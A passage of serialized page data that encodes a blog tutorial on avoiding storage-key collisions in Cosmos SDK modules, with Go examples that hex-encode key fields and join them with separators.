line":16406},[98664,98669,98673,98678],{"type":25,"tag":271,"props":98665,"children":98666},{"style":13598},[98667],{"type":30,"value":98668},"usernameEncoded",{"type":25,"tag":271,"props":98670,"children":98671},{"style":13603},[98672],{"type":30,"value":89532},{"type":25,"tag":271,"props":98674,"children":98675},{"style":13620},[98676],{"type":30,"value":98677}," make",{"type":25,"tag":271,"props":98679,"children":98680},{"style":13625},[98681],{"type":30,"value":16609},{"type":25,"tag":271,"props":98683,"children":98684},{"class":13593,"line":16434},[98685,98690,98694],{"type":25,"tag":271,"props":98686,"children":98687},{"style":13625},[98688],{"type":30,"value":98689},"    []",{"type":25,"tag":271,"props":98691,"children":98692},{"style":13609},[98693],{"type":30,"value":97878},{"type":25,"tag":271,"props":98695,"children":98696},{"style":13625},[98697],{"type":30,"value":14351},{"type":25,"tag":271,"props":98699,"children":98700},{"class":13593,"line":16447},[98701,98706,98710,98715,98719,98723,98727,98731],{"type":25,"tag":271,"props":98702,"children":98703},{"style":13598},[98704],{"type":30,"value":98705},"    hex",{"type":25,"tag":271,"props":98707,"children":98708},{"style":13625},[98709],{"type":30,"value":1860},{"type":25,"tag":271,"props":98711,"children":98712},{"style":13620},[98713],{"type":30,"value":98714},"EncodedLen",{"type":25,"tag":271,"props":98716,"children":98717},{"style":13625},[98718],{"type":30,"value":394},{"type":25,"tag":271,"props":98720,"children":98721},{"style":13620},[98722],{"type":30,"value":22261},{"type":25,"tag":271,"props":98724,"children":98725},{"style":13625},[98726],{"type":30,"value":394},{"type":25,"tag":271,"props":98728,"children":98729},{"style":13598},[98730],{"type":30,"value":98584},{"type":25,"tag":271,"props":98732,"children":98733},{"style":13625},[98734],{"type":30,"value":98735},")),\n",{"type":25,"tag":271,"props":98737,"children":98738},{"class":13593,"line":16465},[98739],{"type":25,"tag":271,"props":98740,"children":98741},{"style":13625},[98742],{"type":30,"value":16299},{"type":25,"tag":271,"props":98744,"children":98745},{"class":13593,"line":16486},[98746,98751,98755,98760,98764,98768,98772,98776],{"type":25,"tag":271,"props":98747,"children":98748},{"style":13598},[98749],{"type":30,"value":98750},"hex",{"type":25,"tag":271,"props":98752,"children":98753},{"style":13625},[98754],{"type":30,"value":1860},{"type":25,"tag":271,"props":98756,"children":98757},{"style":13620},[98758],{"type":30,"value":98759},"Encode",{"type":25,"tag":271,"props":98761,"children":98762},{"style":13625},[98763],{"type":30,"value":394},{"type":25,"tag":271,"props":98765,"children":98766},{"style":13598},[98767],{"type":30,"value":98668},{"type":25,"tag":271,"props":98769,"children":98770},{"style":13625},[98771],{"type":30,"value":44},{"type":25,"tag":271,"props":98773,"children":98774},{"style":13598},[98775],{"type":30,"value":98584},{"type":25,"tag":271,"props":98777,"children":98778},{"style":13625},[98779],{"type":30,"value":16299},{"type":25,"tag":271,"props":98781,"children":98782},{"class":13593,"line":16495},[98783],{"type":25,"tag":271,"props":98784,"children":98785},{"emptyLinePlaceholder":18},[98786],{"type":30,"value":16829},{"type":25,"tag":271,"props":98788,"children":98789},{"class":13593,"line":16744},[98790,98795,98799,98803],{"type":25,"tag":271,"props":98791,"children":98792},{"style":13598},[98793],{"type":30,"value":98794},"positionNameEncoded",{"type":25,"tag":271,"props":98796,"children":98797},{"style":13603},[98798],{"type":30,"value":89532},{"type":25,"tag":271,"props":98800,"children":98801},{"style":13620},[98802],{"type":30,"value":98677},{"type":25,"tag":271,"props":98804,"children":98805},{"style":13625},[98806],{"type":30,"value":16609},{"type":25,"tag":271,"props":98808,"children":98809},{"class":13593,"line":16761},[98810,98814,98818],{"type":25,"tag":271,"props":98811,"children":98812},{"style":13625},[98813],{"type":30,"value":98689},{"type":25,"tag":271,"props":98815,"children":98816},{"style":13609},[98817],{"type":30,"value":97878},{"type":25,"tag":271,"props":98819,"children":98820},{"style":13625},[98821],{"type":30,"value":14351},{"type":25,"tag":271,"props":98823,"children":98824},{"class":13593,"line":16778},[98825,98829,98833,98837,98841,98845,98849,98854],{"type":25,"tag":271,"props":98826,"children":98827},{"style":13598},[98828],{"type":30,"value":98705},{"type":25,"tag":271,"props":98830,"children":98831},{"style":13625},[98832],{"type":30,"value":1860},{"type":25,"tag":271,"props":98834,"children":98835},{"style":13620},[98836],{"type":30,"value":98714},{"type":25,"tag":271,"props":98838,"children":98839},{"style":13625},[98840],{"type":30,"value":394},{"type":25,"tag":271,"props":98842,"children":98843},{"style":13620},[98844],{"type":30,"value":22261},{"type":25,"tag":271,"props":98846,"children":98847},{"style":13625},[98848],{"type":30,"value":394},{"type":25,"tag":271,"props":98850,"children":98851},{"style":13598},[98852],{"type":30,"value":98853},"positionName",{"type":25,"tag":271,"props":98855,"children":98856},{"style":13625},[98857],{"type":30,"value":98735},{"type":25,"tag":271,"props":98859,"children":98860},{"class":13593,"line":16791},[98861],{"type":25,"tag":271,"props":98862,"children":98863},{"style":13625},[98864],{"type":30,"value":16299},{"type":25,"tag":271,"props":98866,"children":98867},{"class":13593,"line":16800},[98868,98872,98876,98880,98884,98888,98892,98896],{"type":25,"tag":271,"props":98869,"children":98870},{"style":13598},[98871],{"type":30,"value":98750},{"type":25,"tag":271,"props":98873,"children":98874},{"style":13625},[98875],{"type":30,"value":1860},{"type":25,"tag":271,"props":98877,"children":98878},{"style":13620},[98879],{"type":30,"value":98759},{"type":25,"tag":271,"props":98881,"children":98882},{"style":13625},[98883],{"type":30,"value":394},{"type":25,"tag":271,"props":98885,"children":98886},{"style":13598},[98887],{"type":30,"value":98794},{"type":25,"tag":271,"props":98889,"children":98890},{"style":13625},[98891],{"type":30,"value":44},{"type":25,"tag":271,"props":98893,"children":98894},{"style":13598},[98895],{"type":30,"value":98853},{"type":25,"tag":271,"props":98897,"children":98898},{"style":13625},[98899],{"type":30,"value":16299},{"type":25,"tag":271,"props":98901,"children":98902},{"class":13593,"line":16823},[98903],{"type":25,"tag":271,"props":98904,"children":98905},{"emptyLinePlaceholder":18},[98906],{"type":30,"value":16829},{"type":25,"tag":271,"props":98908,"children":98909},{"class":13593,"line":16832},[98910,98914,98918,98922,98926,98930],{"type":25,"tag":271,"props":98911,"children":98912},{"style":13598},[98913],{"type":30,"value":98319},{"type":25,"tag":271,"props":98915,"children":98916},{"style":13603},[98917],{"type":30,"value":89532},{"type":25,"tag":271,"props":98919,"children":98920},{"style":13598},[98921],{"type":30,"value":95347},{"type":25,"tag":271,"props":98923,"children":98924},{"style":13625},[98925],{"type":30,"value":1860},{"type":25,"tag":271,"props":98927,"children":98928},{"style":13620},[98929],{"type":30,"value":98336},{"type":25,"tag":271,"props":98931,"children":98932},{"style":13625},[98933],{"type":30,"value":16609},{"type":25,"tag":271,"props":98935,"children":98936},{"class":13593,"line":16841},[98937,98941],{"type":25,"tag":271,"props":98938,"children":98939},{"style":17388},[98940],{"type":30,"value":98502},{"type":25,"tag":271,"props":98942,"children":98943},{"style":13625},[98944],{"type":30,"value":14351},{"type":25,"tag":271,"props":98946,"children":98947},{"class":13593,"line":16907},[98948,98952],{"type":25,"tag":271,"props":98949,"children":98950},{"style":13598},[98951],{"type":30,"value":98360},{"type":25,"tag":271,"props":98953,"children":98954},{"style":13625},[98955],{"type":30,"value":14351},{"type":25,"tag":271,"props":98957,"children":98958},{"class":13593,"line":16915},[98959,98963],{"type":25,"tag":271,"props":98960,"children":98961},{"style":13598},[98962],{"type":30,"value":98444},{"type":25,"tag":271,"props":98964,"children":98965},{"style":13625},[98966],{"type":30,"value":14351},{"type":25,"tag":271,"props":98968,"children":98969},{"class":13593,"line":16945},[98970,98975],{"type":25,"tag":271,"props":98971,"children":98972},{"style":13598},[98973],{"type":30,"value":98974},"    usernameEncoded",{"type":25,"tag":271,"props":98976,"children":98977},{"style":13625},[98978],{"type":30,"value":14351},{"type":25,"tag":271,"props":98980,"children":98981},{"class":13593,"line":16953},[98982,98986],{"type":25,"tag":271,"props":98983,"children":98984},{"style":13598},[98985],{"type":30,"value":98444},{"type":25,"tag":271,"props":98987,"children":98988},{"style":13625},[98989],{"type":30,"value":14351},{"type":25,"tag":271,"props":98991,"children":98992},{"class":13593,"line":16984},[98993],{"type":25,"tag":271,"props":98994,"children":98995},{"style":13598},[98996],{"type":30,"value":98997},"    positionNameEncoded\n",{"type":25,"tag":271,"props":98999,"children":99000},{"class":13593,"line":16992},[99001],{"type":25,"tag":271,"props":99002,"children":99003},{"style":13625},[99004],{"type":30,"value":16299},{"type":25,"tag":26,"props":99006,"children":99007},{},[99008,99010,99015],{"type":30,"value":99009},"We did it. We finally eliminated all potential ",{"type":25,"tag":264,"props":99011,"children":99013},{"className":99012},[],[99014],{"type":30,"value":98319},{"type":30,"value":99016}," collisions.",{"type":25,"tag":26,"props":99018,"children":99019},{},[99020],{"type":30,"value":99021},"Until now, our focus has primarily been on storing a single structure. We recognize that in real-world applications, we frequently encounter scenarios where multiple structures must be stored as persistent states.",{"type":25,"tag":26,"props":99023,"children":99024},{},[99025,99027,99033,99035,99040,99042,99047,99049,99054,99056,99062],{"type":30,"value":99026},"In the Cosmos framework, it is common for each ",{"type":25,"tag":264,"props":99028,"children":99030},{"className":99029},[],[99031],{"type":30,"value":99032},"Module",{"type":30,"value":99034}," to own a few ",{"type":25,"tag":264,"props":99036,"children":99038},{"className":99037},[],[99039],{"type":30,"value":98090},{"type":30,"value":99041}," and have individual ",{"type":25,"tag":264,"props":99043,"children":99045},{"className":99044},[],[99046],{"type":30,"value":93058},{"type":30,"value":99048},"s managing access to storages. It's also important to note that each ",{"type":25,"tag":264,"props":99050,"children":99052},{"className":99051},[],[99053],{"type":30,"value":98090},{"type":30,"value":99055}," should be independent from one another, alleviating developers from having to worry about key collisions between different ",{"type":25,"tag":264,"props":99057,"children":99059},{"className":99058},[],[99060],{"type":30,"value":99061},"Modules",{"type":30,"value":1860},{"type":25,"tag":26,"props":99064,"children":99065},{},[99066,99068,99073],{"type":30,"value":99067},"With that being said, what if we have to maintain more than one structure within the same ",{"type":25,"tag":264,"props":99069,"children":99071},{"className":99070},[],[99072],{"type":30,"value":98090},{"type":30,"value":5632},{"type":25,"tag":26,"props":99075,"children":99076},{},[99077,99079,99085,99087,99092],{"type":30,"value":99078},"To demonstrate this scenario, we introduce the ",{"type":25,"tag":264,"props":99080,"children":99082},{"className":99081},[],[99083],{"type":30,"value":99084},"NameToAddressMap",{"type":30,"value":99086}," structure, which will be stored in the same ",{"type":25,"tag":264,"props":99088,"children":99090},{"className":99089},[],[99091],{"type":30,"value":98090},{"type":30,"value":99093}," we previously used.",{"type":25,"tag":7764,"props":99095,"children":99097},{"code":99096,"language":89280,"meta":7,"className":89281,"style":7},"type VaultId uint64\ntype Username string\n\ntype PositionName string\ntype Position struct {\n    data []byte\n}\ntype PositionMap :=\n    map[VaultId]map[Username]map[PositionName]Position\n\ntype AddressName string\ntype Address struct {\n data []byte\n}\ntype AddressMap :=\n    map[VaultId]map[Username]map[AddressName]Address\n",[99098],{"type":25,"tag":264,"props":99099,"children":99100},{"__ignoreMap":7},[99101,99116,99131,99138,99153,99172,99187,99194,99209,99264,99271,99287,99307,99322,99329,99345],{"type":25,"tag":271,"props":99102,"children":99103},{"class":13593,"line":13594},[99104,99108,99112],{"type":25,"tag":271,"props":99105,"children":99106},{"style":14289},[99107],{"type":30,"value":45869},{"type":25,"tag":271,"props":99109,"children":99110},{"style":13609},[99111],{"type":30,"value":98136},{"type":25,"tag":271,"props":99113,"children":99114},{"style":13609},[99115],{"type":30,"value":89318},{"type":25,"tag":271,"props":99117,"children":99118},{"class":13593,"line":11641},[99119,99123,99127],{"type":25,"tag":271,"props":99120,"children":99121},{"style":14289},[99122],{"type":30,"value":45869},{"type":25,"tag":271,"props":99124,"children":99125},{"style":13609},[99126],{"type":30,"value":98152},{"type":25,"tag":271,"props":99128,"children":99129},{"style":13609},[99130],{"type":30,"value":98157},{"type":25,"tag":271,"props":99132,"children":99133},{"class":13593,"line":14354},[99134],{"type":25,"tag":271,"props":99135,"children":99136},{"emptyLinePlaceholder":18},[99137],{"type":30,"value":16829},{"type":25,"tag":271,"props":99139,"children":99140},{"class":13593,"line":14391},[99141,99145,99149],{"type":25,"tag":271,"props":99142,"children":99143},{"style":14289},[99144],{"type":30,"value":45869},{"type":25,"tag":271,"props":99146,"children":99147},{"style":13609},[99148],{"type":30,"value":98169},{"type":25,"tag":271,"props":99150,"children":99151},{"style":13609},[99152],{"type":30,"value":98157},{"type":25,"tag":271,"props":99154,"children":99155},{"class":13593,"line":14400},[99156,99160,99164,99168],{"type":25,"tag":271,"props":99157,"children":99158},{"style":14289},[99159],{"type":30,"value":45869},{"type":25,"tag":271,"props":99161,"children":99162},{"style":13609},[99163],{"type":30,"value":20548},{"type":25,"tag":271,"props":99165,"children":99166},{"style":14289},[99167],{"type":30,"value":34271},{"type":25,"tag":271,"props":99169,"children":99170},{"style":13625},[99171],{"type":30,"value":16431},{"type":25,"tag":271,"props":99173,"children":99174},{"class":13593,"line":16406},[99175,99179,99183],{"type":25,"tag":271,"props":99176,"children":99177},{"style":13598},[99178],{"type":30,"value":56344},{"type":25,"tag":271,"props":99180,"children":99181},{"style":13625},[99182],{"type":30,"value":89343},{"type":25,"tag":271,"props":99184,"children":99185},{"style":13609},[99186],{"type":30,"value":97341},{"type":25,"tag":271,"props":99188,"children":99189},{"class":13593,"line":16434},[99190],{"type":25,"tag":271,"props":99191,"children":99192},{"style":13625},[99193],{"type":30,"value":17058},{"type":25,"tag":271,"props":99195,"children":99196},{"class":13593,"line":16447},[99197,99201,99205],{"type":25,"tag":271,"props":99198,"children":99199},{"style":14289},[99200],{"type":30,"value":45869},{"type":25,"tag":271,"props":99202,"children":99203},{"style":13609},[99204],{"type":30,"value":98226},{"type":25,"tag":271,"props":99206,"children":99207},{"style":13603},[99208],{"type":30,"value":98231},{"type":25,"tag":271,"props":99210,"children":99211},{"class":13593,"line":16465},[99212,99216,99220,99224,99228,99232,99236,99240,99244,99248,99252,99256,99260],{"type":25,"tag":271,"props":99213,"children":99214},{"style":14289},[99215],{"type":30,"value":98239},{"type":25,"tag":271,"props":99217,"children":99218},{"style":13625},[99219],{"type":30,"value":5604},{"type":25,"tag":271,"props":99221,"children":99222},{"style":13609},[99223],{"type":30,"value":98248},{"type":25,"tag":271,"props":99225,"children":99226},{"style":13625},[99227],{"type":30,"value":5630},{"type":25,"tag":271,"props":99229,"children":99230},{"style":14289},[99231],{"type":30,"value":80217},{"type":25,"tag":271,"props":99233,"children":99234},{"style":13625},[99235],{"type":30,"value":5604},{"type":25,"tag":271,"props":99237,"children":99238},{"style":13609},[99239],{"type":30,"value":98265},{"type":25,"tag":271,"props":99241,"children":99242},{"style":13625},[99243],{"type":30,"value":5630},{"type":25,"tag":271,"props":99245,"children":99246},{"style":14289},[99247],{"type":30,"value":80217},{"type":25,"tag":271,"props":99249,"children":99250},{"style":13625},[99251],{"type":30,"value":5604},{"type":25,"tag":271,"props":99253,"children":99254},{"style":13609},[99255],{"type":30,"value":98282},{"type":25,"tag":271,"props":99257,"children":99258},{"style":13625},[99259],{"type":30,"value":5630},{"type":25,"tag":271,"props":99261,"children":99262},{"style":13609},[99263],{"type":30,"value":98291},{"type":25,"tag":271,"props":99265,"children":99266},{"class":13593,"line":16486},[99267],{"type":25,"tag":271,"props":99268,"children":99269},{"emptyLinePlaceholder":18},[99270],{"type":30,"value":16829},{"type":25,"tag":271,"props":99272,"children":99273},{"class":13593,"line":16495},[99274,99278,99283],{"type":25,"tag":271,"props":99275,"children":99276},{"style":14289},[99277],{"type":30,"value":45869},{"type":25,"tag":271,"props":99279,"children":99280},{"style":13609},[99281],{"type":30,"value":99282}," AddressName",{"type":25,"tag":271,"props":99284,"children":99285},{"style":13609},[99286],{"type":30,"value":98157},{"type":25,"tag":271,"props":99288,"children":99289},{"class":13593,"line":16744},[99290,99294,99299,99303],{"type":25,"tag":271,"props":99291,"children":99292},{"style":14289},[99293],{"type":30,"value":45869},{"type":25,"tag":271,"props":99295,"children":99296},{"style":13609},[99297],{"type":30,"value":99298}," Address",{"type":25,"tag":271,"props":99300,"children":99301},{"style":14289},[99302],{"type":30,"value":34271},{"type":25,"tag":271,"props":99304,"children":99305},{"style":13625},[99306],{"type":30,"value":16431},{"type":25,"tag":271,"props":99308,"children":99309},{"class":13593,"line":16761},[99310,99314,99318],{"type":25,"tag":271,"props":99311,"children":99312},{"style":13598},[99313],{"type":30,"value":28226},{"type":25,"tag":271,"props":99315,"children":99316},{"style":13625},[99317],{"type":30,"value":89343},{"type":25,"tag":271,"props":99319,"children":99320},{"style":13609},[99321],{"type":30,"value":97341},{"type":25,"tag":271,"props":99323,"children":99324},{"class":13593,"line":16778},[99325],{"type":25,"tag":271,"props":99326,"children":99327},{"style":13625},[99328],{"type":30,"value":17058},{"type":25,"tag":271,"props":99330,"children":99331},{"class":13593,"line":16791},[99332,99336,99341],{"type":25,"tag":271,"props":99333,"children":99334},{"style":14289},[99335],{"type":30,"value":45869},{"type":25,"tag":271,"props":99337,"children":99338},{"style":13609},[99339],{"type":30,"value":99340}," AddressMap",{"type":25,"tag":271,"props":99342,"children":99343},{"style":13603},[99344],{"type":30,"value":98231},{"type":25,"tag":271,"props":99346,"children":99347},{"class":13593,"line":16800},[99348,99352,99356,99360,99364,99368,99372,99376,99380,99384,99388,99393,99397],{"type":25,"tag":271,"props":99349,"children":99350},{"style":14289},[99351],{"type":30,"value":98239},{"type":25,"tag":271,"props":99353,"children":99354},{"style":13625},[99355],{"type":30,"value":5604},{"type":25,"tag":271,"props":99357,"children":99358},{"style":13609},[99359],{"type":30,"value":98248},{"type":25,"tag":271,"props":99361,"children":99362},{"style":13625},[99363],{"type":30,"value":5630},{"type":25,"tag":271,"props":99365,"children":99366},{"style":14289},[99367],{"type":30,"value":80217},{"type":25,"tag":271,"props":99369,"children":99370},{"style":13625},[99371],{"type":30,"value":5604},{"type":25,"tag":271,"props":99373,"children":99374},{"style":13609},[99375],{"type":30,"value":98265},{"type":25,"tag":271,"props":99377,"children":99378},{"style":13625},[99379],{"type":30,"value":5630},{"type":25,"tag":271,"props":99381,"children":99382},{"style":14289},[99383],{"type":30,"value":80217},{"type":25,"tag":271,"props":99385,"children":99386},{"style":13625},[99387],{"type":30,"value":5604},{"type":25,"tag":271,"props":99389,"children":99390},{"style":13609},[99391],{"type":30,"value":99392},"AddressName",{"type":25,"tag":271,"props":99394,"children":99395},{"style":13625},[99396],{"type":30,"value":5630},{"type":25,"tag":271,"props":99398,"children":99399},{"style":13609},[99400],{"type":30,"value":99401},"Address\n",{"type":25,"tag":26,"props":99403,"children":99404},{},[99405],{"type":30,"value":99406},"Referencing previous examples, it is necessary to sanitize/encode each key field and add seperators between fields to prevent key collisions. By putting these measures into practice, we present the following implementation below:",{"type":25,"tag":7764,"props":99408,"children":99410},{"code":99409,"language":89280,"meta":7,"className":89281,"style":7},"const (\n    Seperator = \"|\"\n)\n\n\nfunc PositionMapKey(\n    vaultId uint64,\n    username, positionName []byte,\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    positionNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(positionName)),\n    )\n    hex.Encode(positionNameEncoded, positionName)\n\n    key := fmt.Sprintf(\n        \"%d%s%s%s%s\",\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        positionNameEncoded,\n    )\n}\n\n\nfunc AddressMapKey(\n    vaultId uint64,\n    username, addressName []byte\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    addressNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(addressName)),\n    )\n    hex.Encode(addressNameEncoded, addressName)\n\n    key := fmt.Sprintf(\n        \"%d%s%s%s%s\",\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        addressNameEncoded,\n    )\n}\n",[99411],{"type":25,"tag":264,"props":99412,"children":99413},{"__ignoreMap":7},[99414,99425,99440,99447,99454,99461,99477,99492,99519,99542,99561,99577,99613,99620,99655,99662,99682,99697,99732,99739,99774,99781,99809,99821,99833,99845,99857,99868,99880,99887,99894,99901,99908,99924,99939,99963,99986,100005,100020,100055,100062,100097,100104,100124,100139,100174,100181,100217,100224,100251,100262,100273,100284,100295,100306,100318,100325],{"type":25,"tag":271,"props":99415,"children":99416},{"class":13593,"line":13594},[99417,99421],{"type":25,"tag":271,"props":99418,"children":99419},{"style":14289},[99420],{"type":30,"value":22778},{"type":25,"tag":271,"props":99422,"children":99423},{"style":13625},[99424],{"type":30,"value":91679},{"type":25,"tag":271,"props":99426,"children":99427},{"class":13593,"line":11641},[99428,99432,99436],{"type":25,"tag":271,"props":99429,"children":99430},{"style":13598},[99431],{"type":30,"value":98444},{"type":25,"tag":271,"props":99433,"children":99434},{"style":13603},[99435],{"type":30,"value":16155},{"type":25,"tag":271,"props":99437,"children":99438},{"style":17388},[99439],{"type":30,"value":98453},{"type":25,"tag":271,"props":99441,"children":99442},{"class":13593,"line":14354},[99443],{"type":25,"tag":271,"props":99444,"children":99445},{"style":13625},[99446],{"type":30,"value":16299},{"type":25,"tag":271,"props":99448,"children":99449},{"class":13593,"line":14391},[99450],{"type":25,"tag":271,"props":99451,"children":99452},{"emptyLinePlaceholder":18},[99453],{"type":30,"value":16829},{"type":25,"tag":271,"props":99455,"children":99456},{"class":13593,"line":14400},[99457],{"type":25,"tag":271,"props":99458,"children":99459},{"emptyLinePlaceholder":18},[99460],{"type":30,"value":16829},{"type":25,"tag":271,"props":99462,"children":99463},{"class":13593,"line":16406},[99464,99468,99473],{"type":25,"tag":271,"props":99465,"children":99466},{"style":14289},[99467],{"type":30,"value":89416},{"type":25,"tag":271,"props":99469,"children":99470},{"style":13620},[99471],{"type":30,"value":99472}," PositionMapKey",{"type":25,"tag":271,"props":99474,"children":99475},{"style":13625},[99476],{"type":30,"value":16609},{"type":25,"tag":271,"props":99478,"children":99479},{"class":13593,"line":16434},[99480,99484,99488],{"type":25,"tag":271,"props":99481,"children":99482},{"style":13598},[99483],{"type":30,"value":98360},{"type":25,"tag":271,"props":99485,"children":99486},{"style":13609},[99487],{"type":30,"value":89537},{"type":25,"tag":271,"props":99489,"children":99490},{"style":13625},[99491],{"type":30,"value":14351},{"type":25,"tag":271,"props":99493,"children":99494},{"class":13593,"line":16447},[99495,99499,99503,99507,99511,99515],{"type":25,"tag":271,"props":99496,"children":99497},{"style":13598},[99498],{"type":30,"value":98372},{"type":25,"tag":271,"props":99500,"children":99501},{"style":13625},[99502],{"type":30,"value":44},{"type":25,"tag":271,"props":99504,"children":99505},{"style":13598},[99506],{"type":30,"value":98853},{"type":25,"tag":271,"props":99508,"children":99509},{"style":13625},[99510],{"type":30,"value":89343},{"type":25,"tag":271,"props":99512,"children":99513},{"style":13609},[99514],{"type":30,"value":97878},{"type":25,"tag":271,"props":99516,"children":99517},{"style":13625},[99518],{"type":30,"value":14351},{"type":25,"tag":271,"props":99520,"children":99521},{"class":13593,"line":16465},[99522,99526,99530,99534,99538],{"type":25,"tag":271,"props":99523,"children":99524},{"style":13625},[99525],{"type":30,"value":89498},{"type":25,"tag":271,"props":99527,"children":99528},{"style":13598},[99529],{"type":30,"value":85270},{"type":25,"tag":271,"props":99531,"children":99532},{"style":13625},[99533],{"type":30,"value":89343},{"type":25,"tag":271,"props":99535,"children":99536},{"style":13609},[99537],{"type":30,"value":97878},{"type":25,"tag":271,"props":99539,"children":99540},{"style":13625},[99541],{"type":30,"value":27925},{"type":25,"tag":271,"props":99543,"children":99544},{"class":13593,"line":16486},[99545,99549,99553,99557],{"type":25,"tag":271,"props":99546,"children":99547},{"style":13598},[99548],{"type":30,"value":98974},{"type":25,"tag":271,"props":99550,"children":99551},{"style":13603},[99552],{"type":30,"value":89532},{"type":25,"tag":271,"props":99554,"children":99555},{"style":13620},[99556],{"type":30,"value":98677},{"type":25,"tag":271,"props":99558,"children":99559},{"style":13625},[99560],{"type":30,"value":16609},{"type":25,"tag":271,"props":99562,"children":99563},{"class":13593,"line":16495},[99564,99569,99573],{"type":25,"tag":271,"props":99565,"children":99566},{"style":13625},[99567],{"type":30,"value":99568},"        []",{"type":25,"tag":271,"props":99570,"children":99571},{"style":13609},[99572],{"type":30,"value":97878},{"type":25,"tag":271,"props":99574,"children":99575},{"style":13625},[99576],{"type":30,"value":14351},{"type":25,"tag":271,"props":99578,"children":99579},{"class":13593,"line":16744},[99580,99585,99589,99593,99597,99601,99605,99609],{"type":25,"tag":271,"props":99581,"children":99582},{"style":13598},[99583],{"type":30,"value":99584},"        hex",{"type":25,"tag":271,"props":99586,"children":99587},{"style":13625},[99588],{"type":30,"value":1860},{"type":25,"tag":271,"props":99590,"children":99591},{"style":13620},[99592],{"type":30,"value":98714},{"type":25,"tag":271,"props":99594,"children":99595},{"style":13625},[99596],{"type":30,"value":394},{"type":25,"tag":271,"props":99598,"children":99599},{"style":13620},[99600],{"type":30,"value":22261},{"type":25,"tag":271,"props":99602,"children":99603},{"style":13625},[99604],{"type":30,"value":394},{"type":25,"tag":271,"props":99606,"children":99607},{"style":13598},[99608],{"type":30,"value":98584},{"type":25,"tag":271,"props":99610,"children":99611},{"style":13625},[99612],{"type":30,"value":98735},{"type":25,"tag":271,"props":99614,"children":99615},{"class":13593,"line":16761},[99616],{"type":25,"tag":271,"props":99617,"children":99618},{"style":13625},[99619],{"type":30,"value":37029},{"type":25,"tag":271,"props":99621,"children":99622},{"class":13593,"line":16778},[99623,99627,99631,99635,99639,99643,99647,99651],{"type":25,"tag":271,"props":99624,"children":99625},{"style":13598},[99626],{"type":30,"value":98705},{"type":25,"tag":271,"props":99628,"children":99629},{"style":13625},[99630],{"type":30,"value":1860},{"type":25,"tag":271,"props":99632,"children":99633},{"style":13620},[99634],{"type":30,"value":98759},{"type":25,"tag":271,"props":99636,"children":99637},{"style":13625},[99638],{"type":30,"value":394},{"type":25,"tag":271,"props":99640,"children":99641},{"style":13598},[99642],{"type":30,"value":98668},{"type":25,"tag":271,"props":99644,"children":99645},{"style":13625},[99646],{"type":30,"value":44},{"type":25,"tag":271,"props":99648,"children":99649},{"style":13598},[99650],{"type":30,"value":98584},{"type":25,"tag":271,"props":99652,"children":99653},{"style":13625},[99654],{"type":30,"value":16299},{"type":25,"tag":271,"props":99656,"children":99657},{"class":13593,"line":16791},[99658],{"type":25,"tag":271,"props":99659,"children":99660},{"emptyLinePlaceholder":18},[99661],{"type":30,"value":16829},{"type":25,"tag":271,"props":99663,"children":99664},{"class":13593,"line":16800},[99665,99670,99674,99678],{"type":25,"tag":271,"props":99666,"children":99667},{"style":13598},[99668],{"type":30,"value":99669},"    positionNameEncoded",{"type":25,"tag":271,"props":99671,"children":99672},{"style":13603},[99673],{"type":30,"value":89532},{"type":25,"tag":271,"props":99675,"children":99676},{"style":13620},[99677],{"type":30,"value":98677},{"type":25,"tag":271,"props":99679,"children":99680},{"style":13625},[99681],{"type":30,"value":16609},{"type":25,"tag":271,"props":99683,"children":99684},{"class":13593,"line":16823},[99685,99689,99693],{"type":25,"tag":271,"props":99686,"children":99687},{"style":13625},[99688],{"type":30,"value":99568},{"type":25,"tag":271,"props":99690,"children":99691},{"style":13609},[99692],{"type":30,"value":97878},{"type":25,"tag":271,"props":99694,"children":99695},{"style":13625},[99696],{"type":30,"value":14351},{"type":25,"tag":271,"props":99698,"children":99699},{"class":13593,"line":16832},[99700,99704,99708,99712,99716,99720,99724,99728],{"type":25,"tag":271,"props":99701,"children":99702},{"style":13598},[99703],{"type":30,"value":99584},{"type":25,"tag":271,"props":99705,"children":99706},{"style":13625},[99707],{"type":30,"value":1860},{"type":25,"tag":271,"props":99709,"children":99710},{"style":13620},[99711],{"type":30,"value":98714},{"type":25,"tag":271,"props":99713,"children":99714},{"style":13625},[99715],{"type":30,"value":394},{"type":25,"tag":271,"props":99717,"children":99718},{"style":13620},[99719],{"type":30,"value":22261},{"type":25,"tag":271,"props":99721,"children":99722},{"style":13625},[99723],{"type":30,"value":394},{"type":25,"tag":271,"props":99725,"children":99726},{"style":13598},[99727],{"type":30,"value":98853},{"type":25,"tag":271,"props":99729,"children":99730},{"style":13625},[99731],{"type":30,"value":98735},{"type":25,"tag":271,"props":99733,"children":99734},{"class":13593,"line":16841},[99735],{"type":25,"tag":271,"props":99736,"children":99737},{"style":13625},[99738],{"type":30,"value":37029},{"type":25,"tag":271,"props":99740,"children":99741},{"class":13593,"line":16907},[99742,99746,99750,99754,99758,99762,99766,99770],{"type":25,"tag":271,"props":99743,"children":99744},{"style":13598},[99745],{"type":30,"value":98705},{"type":25,"tag":271,"props":99747,"children":99748},{"style":13625},[99749],{"type":30,"value":1860},{"type":25,"tag":271,"props":99751,"children":99752},{"style":13620},[99753],{"type":30,"value":98759},{"type":25,"tag":271,"props":99755,"children":99756},{"style":13625},[99757],{"type":30,"value":394},{"type":25,"tag":271,"props":99759,"children":99760},{"style":13598},[99761],{"type":30,"value":98794},{"type":25,"tag":271,"props":99763,"children":99764},{"style":13625},[99765],{"type":30,"value":44},{"type":25,"tag":271,"props":99767,"children":99768},{"style":13598},[99769],{"type":30,"value":98853},{"type":25,"tag":271,"props":99771,"children":99772},{"style":13625},[99773],{"type":30,"value":16299},{"type":25,"tag":271,"props":99775,"children":99776},{"class":13593,"line":16915},[99777],{"type":25,"tag":271,"props":99778,"children":99779},{"emptyLinePlaceholder":18},[99780],{"type":30,"value":16829},{"type":25,"tag":271,"props":99782,"children":99783},{"class":13593,"line":16945},[99784,99789,99793,99797,99801,99805],{"type":25,"tag":271,"props":99785,"children":99786},{"style":13598},[99787],{"type":30,"value":99788},"    